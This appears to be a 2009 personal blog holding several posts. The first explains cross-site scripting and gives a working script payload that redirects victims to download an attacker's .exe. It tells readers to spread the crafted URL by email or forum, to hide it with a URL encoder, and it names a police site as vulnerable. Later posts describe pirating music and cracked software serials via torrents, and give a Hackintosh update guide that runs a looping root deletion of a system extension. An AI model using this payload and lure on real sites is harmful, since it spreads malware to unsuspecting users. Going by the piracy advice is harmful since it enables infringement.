Tuesday, February 10, 2009

XSS Vulnerabilities

Thousands of new websites are popping up every day on the world wide web. It is a great way for people all across the world to display information, to talk with friends, all kinds of great things. We aren't even using the internet to its full potential yet! Theres just one problem: the internet is vulnerable, and that makes computers who go ON the internet vulnerable.

Take cross side scripting (XSS) vulnerabilities. Note that cross side scripting is 'XSS', not 'CSS'. CSS stands for Cascading Style Sheets and is used along with html to organize and structure web pages. For all new web designers, it is important to protect yourself against xss attacks, which are quite common and unbelievably simple to perform.

What is an xss attack?
XSS is a form of client-side attack. Basically it means that an attacker can inject code into a website from his own computer, even without administrative or FTP privelages. Lets use a common feature on websites for an example. A search box. A user inputs a query into the box and hits search. After a few moments, a new page displays with lists of links to different pages that relate to your search. But what happens to the actual HTML? Next time you search, take a look at the source code that is returned to your browser after a search. Your search term (in an xss vulnerable site) was put directly into the html. This happens when the search page displays something along the lines of "Your search for: 'yoursearchtermhere'" at the top of the page. XSS is using that search term in the html code to inject your own code.

How do I know if a page is xss vulnerable?
This is simple. go to any sort of input box. This can be a login, password, email, search box, anything that allows you to type and submit. In the box, type "alert('XSS vulnerable')" (make sure to omit the quotation marks and add tags). When you hit enter, if a pop up box displaying "XSS vulnerable" appears, then the page is vulnerable to javascript xss exploits.

How can an XSS vulnerability on my site be used?
There are lots of ways that XSS can be used. One of the more dangerous ways to use it is to inject code to steal users cookies, which can then be used to trick the websites server into granting you access to that users account and information. It can also be used to download local files from another persons computer.

Ok... but HOW?
Simple. If you have found a site vulnerable to cross site scripting, inputting this code will allow you to download a file to someones computer (you must add < and > around the 'script' and '/script' tags):

script document.location="Your site's .exe file";/script

Put that into the search box and you should be prompted to download your executable. Wonderful. Now what? Now, you copy and paste the full url from the address bar and you can give it to anyone via forum, IM, email, whatever floats your boat. If someone opens it and downloads the executable, they will download whatever your exe file contained.

No one would be stupid enough to fall for that... would they?
Depends. First of all, this can be done to a trustworthy site. The LAPD site happens to be vulnerable to XSS. Adding your script to the end of the LAPD's site may very well fool most people. But if you really want to hide it from people, then you can use a URL masker/encoder to hide the part of the url that shows your script request. That will fool most people.

So there you have it. Play around with XSS for a little bit and you will quickly see the dangers that it can pose to an unprotected site. So make sure, if you are building a site, to properly clean up your code so that users cannot input their own scripts to hijack your site and/or your clients computers and information.



**I DO NOT CONDONE THE USE OF XSS OR ANY OTHER FORM OF 'HACKING' OR SCRIPTING AGAINST A SITE. USE ANYTHING IN THIS POST AT YOUR OWN RISK, AND REMEMBER USE OF IT WITHOUT PERMISSION OF A SITES OWNER IS ILLEGAL**

Sunday, January 25, 2009

Music in the 21st century

[Also: How people have so much music.]

So, this is generally how things work with me and music.  It wasn't always this way, but recently this is how things have been working.

1:  Here a song on the radio that I like.  Write it down.
2:  Go back home, go to Google and search up the lyrics.  Find the artist and song name.
3:  Go to wikipedia, research the band who performed the song.
4:  Go to my favorite torrent site.  Download discography.

Basically the site progression goes like:  Google -> Wikipedia -> The Pirate Bay.  It works wonders.  And then you have a ton of other music which you can listen to!  Isn't that just excited.  Now go buy a CD.

Tuesday, January 6, 2009

Macworld Today

Well, at least the anticipated part of it.  I won't go into detail because I'm sure you can find other places which already have it.

However, the interesting point is, Apple released two new pieces of software, although iLife '09 is not going to be released until late January.  iWork '09 is already out, and erm, already cracked.

Now, let's be honest, we aren't talking reversed compiled and/or reversed engineered, but a quick search on your favorite torrent site will reveal iWork '09 with serial numbers.  This means that Apple is already losing potential money on their product which has not yet been out for more than a day.  What does this mean?  Well, it means that it is hard to beat the Pirates, we will go for almost anything.  It also means that perhaps it is time for a new method of protection - sharing serial numbers is way to easy.

Monday, January 5, 2009

Sound with your Hackintosh

Okay, so I don't really kow how I got sound working.  I tried four things in rapid succession, all of which without repairing permissions.  When I repaired permissions, the sound worked.  So, I'm not sure which one worked.  However, here is the file which I believed got my sound working (it did the most at least).  Just open it up and run (type your password when requested).  Reboot, and then fix your permissions.

This worked on my laptop with these specs.

Edit, the above file did not quite work, but this one does work.

Sunday, January 4, 2009

Garena Doesn't work in CrossOver

Continuing with the adventures of my Hackintosh, I am wondering if I can play over LAN with people with Warcraft 3.  Installing Warcraft 3 wasn't an issue, Finder openned up the ISO images just fine and booted the installer.  Finding Serial Keys was a little trickier, but not impossible.  However, updating it is another challenge which I am still working on.  I may have to use my friend's CD's to update.

However, I want to install Garena and play over that.  So far, no luck.  It installed fine with CrossOver Mac, but didn't boot.  I'm going to try with Crossover Games, but don't expect too much.

Saturday, January 3, 2009

10.5.6 Update is the Most Trouble

Well, I updated my Hackintosh from Leopard 10.5.2 up to the latest, 10.5.6.  And, like always, the last one was always the hardest.  The others when smoothly with no issues at all, I just followed the guide I posted earlier.  10.5.6 was obnoxious though.  After the update, it would not recognize my keyboard unless I booted into safemode.  You could tell how that would be annoying.

Booting into safemode, I had to get my onscreen keyboard (System Preferences -> International -> Input Menu -> Keyboard Viewer && show input menu in menu bar) and I also had to change my password to something simple (all lowercase letters, no numbers).  Also in Safemode, I deleted 2 Kexts which I would replace once I booted normally.  I rebooted normally, and installed these two kexts:

AppleACPIP2Nub.kext
ApplePS2Controller.kext

Once properly installing both of those, the keyboard worked once again!

You can download the two Kexts here (Unzip and then install).

Thursday, January 1, 2009

Updating a Hackintosh

Hackintosh are PC's which have OS X running on them.  I have one, and it is a lot of fun.  Of course, it is very hit and miss when it comes to having all your hardware working, but if you are lucky it can be a very rewarding experince.

Updating a Hackintosh can be scary.  If updated incorrectly, then it will render the system unworkable.  I have found this guide which I am copying here for safe keeping.  This guide works for Leopard updating from 10.5.2 up until 10.5.6.  The nice thing is the process is exactly the same for each update, just remember to repair permissions each time!

1)- Download the Update from Apple's websie
2)- Mount the .dmg, but don't install the update
3)- Open terminal and type
sudo -s
(It will ask for your password; type it).

 4)- Type

while sleep 1
do rm -rf /System/Library/Extensions/AppleIntelCPUPowerManagement.kext;
done
5)- Run update
6)- Press ctrl-c to end the script
7)- Go back to Terminal and type


 nano /System/InstallAtStartup/scripts/1

8)- (Note that this step is not required, but to be safe, you might want to do it) Go to the last page of the script and find the line "Don'tStealMacOSX.kext". Change it to "dsmos.kext"
9)- Reboot and type "update -v" (no quotes)
10)- If you have problems booting, try "-v -f -x" or "-v -x"
11)- Open Kext Helper b7 and use it to patch AppleHDA.kext, AppleAHCIPlatform.kext, and AppleAHCIPlatform.kext  (Not necessary, only if you have previously done so)
12)- Repair permissions